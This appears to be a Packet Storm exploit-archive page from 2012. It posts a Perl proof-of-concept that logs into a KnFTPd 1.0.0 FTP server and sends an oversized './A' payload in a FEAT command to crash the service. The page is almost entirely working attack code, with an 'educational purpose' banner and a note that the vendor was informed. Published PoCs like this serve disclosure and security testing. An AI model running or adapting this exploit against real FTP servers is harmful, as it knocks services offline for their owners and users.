the original cloud security

KnFTPd 1.0.0 Denial Of Service

KnFTPd 1.0.0 Denial Of Service
Posted Mar 29, 2012
Authored by Stefan Schurtz

KnFTPd version 1.0.0 FEAT denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
MD5 | 51a105d85e6ae2c11314287d6cc5479f

KnFTPd 1.0.0 Denial Of Service

Change Mirror Download
#!/usr/bin/perl
#################################################################################
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit
# Author: Stefan Schurtz
# Affected Software: Successfully tested on KnFTPd 1.0.0
# Vendor URL: http://knftp.sourceforge.net/
# Vendor Status: informed
# CVE-ID: -
# PoC-Version: 1.0
#################################################################################
use strict;
use Net::FTP;

my $user = "system";
my $password = "secret";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload './A' with min. length of 94
##################################################
my @p = ( "","./A" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close